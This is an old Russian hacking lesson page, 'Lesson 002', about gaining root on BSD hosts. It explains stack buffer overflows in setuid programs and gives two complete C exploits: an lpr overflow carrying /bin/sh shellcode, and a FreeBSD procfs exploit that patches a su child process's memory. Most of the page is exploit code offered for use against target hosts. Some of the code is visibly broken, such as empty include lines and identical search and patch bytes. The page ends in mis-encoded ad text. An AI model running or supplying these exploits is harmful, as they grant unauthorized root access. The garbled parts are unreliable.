2211
| ЗНАКОМСТВА | UKA.ru | Gossip.ru |Библиотека бесплатно! | massovka | vaticancitystate.ru | взрывЧАТка From 24.11.97
Lesson 002
----------

Цель: получение прав root, через очень неприятную дыру BSD-хостов.

Практически для всех unixов очень эффективна атака buffer overflow.
Во всех программах есть ошибки, одна из самых рапространенных - 
копирование параметра во внутренний буфер фиксированной длины без
проверки длины параметра. Т.е. если мы дадим такой программе параметр
(ну например из командной строки) длиней, чем внутренний буфер,
те данные, что не влезли во внутренний буфер, попадут в стэк. Если
параметр - просто длинная строка, то вероятнее всего произойдет
ошибка c int 06 (неверная команда процессора). Hо если параметр -
специально подобранные asm команды - то они выполнятся.
В unixe есть такие исполняемые файлы, которые при их выполнение
работают как бы от имени root'a (потому что некторым программам
необходимо иметь полный доступ к файловому пространству), но
запускать их можно любому пользователю.
Мы берем такую программу и применяем к ней эту атаку.
Hу например, lpr - программа печати.

<---cut here--->

#include 
#include 
#include 

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] =
   "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
   "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
   "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
   "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}

<--- and here--->

Если на атакуемом хосте запрещены все принтеры и приведенный выше
пример не работает, ищем другую дыру. Для FreeBSD, например:

<---cut here--->

#include 
#include 
#include 
#include 
#include 

u_char search_code[3] = {
0x90, 0x90, 0x90};

/* just do a xor %eax, %eax and then a ret */
u_char new_code[3] = {
0x90, 0x90, 0x90};

main(int argc, char **argv)
{
            int pid;
            int fd;
            char buff[40];
            char *user;

            /* might need to tweak these */
            u_int offset=0x8003000;
            u_int offset_end = 0x8099000;

            if(argc < 2)
            {
                    fprintf(stderr, "%s user\n", argv[0]);
                    exit(1);
            }
            printf("Demonstration of 4.4BSD procfs hole\n");
            printf("after you see \"setuid changed\", enter the pw for the
user\n");
            printf("\aBe warned, searching for the setuid() function takes a
long time!\n");
            user=argv[1];
            pid = fork();
            switch(pid)
            {
                    case -1:
                            perror("fork");
                            exit(1);
                    case 0:
                            /* give parent time to open /proc/pid/mem */
                            sleep(3);
                            execl("/bin/su", "su", user, NULL);
                            exit(0);
                    default:
                            sprintf(buff, "/proc/%d/mem", pid);
                            fd = open(buff, O_RDWR);
                            if(fd < 0)
                            {
                                    perror("open procmem");
                                    wait(NULL);
                                    exit(1);
                            }
                            /* wait for child to execute suid program */
                            sleep(6);
                            /* stop the child */
                            kill(pid, 17);
                            printf("searching - please be patient...\n");
                            /* search for the setuid code */
                            while(offset != offset_end)
                            {
                                    lseek(fd, offset, SEEK_SET);
                                    read(fd, buff, 3);
                                    if(!bcmp(buff, search_code, 3))
                                    {
                                            lseek(fd, offset, SEEK_SET);
                                            write(fd, new_code, 3);
                                            printf("setuid changed (0x%x)\n",
offset);
                                            /* sigcont child */
                                            kill(pid, 19);
                                            wait(NULL);
                                            exit(0);
                                    }
                                    offset++;
                            }
                            printf("setuid not found!!\n");
                            kill(pid, 9);
                            wait(NULL);
                            exit(1);
            }
}

<---and here--->

Вышеприведенный пример работает для FreeBSD 2.1.*, 2.2.*. Основан
он на очень неприятной дыре - а именно, если одна программа запускает
другой процесс (child), то она имеет доступ к его памяти. Соответственно,
что нам мешает чуть-чуть подпатчить эту память так, как нам надо? :)

PS. Thanks to Roger

123123
| ЗНАКОМСТВА | UKA.ru | Gossip.ru | lib.uka.ru | Flash memory: SD, MMC, miniSD, CF | взрывЧАТка From 24.11.97

хОЙЛБМШОЩЕ УОЙНЛЙ У дт рХЗБЮЕЧПК (15 ЖПФП)

оБФБЫБ лПТПМЕЧБ ВПМШЫЕ ОЕ УФЕУОСЕФУС (13 ЖПФП)


VAZHNO.RU
нПЦОП МЙ ДПЧЕТЙФШ ЬФПНХ ЮЕМПЧЕЛХ УЧПЙ ДЕОШЗЙ? б УЧПА ЦЕОХ?

socionics.org

хОЙЛБМШОЩЕ УОЙНЛЙ У дт рХЗБЮЕЧПК (15 ЖПФП)

оБФБЫБ лПТПМЕЧБ ВПМШЫЕ ОЕ УФЕУОСЕФУС (13 ЖПФП)


VAZHNO.RU
uka.ru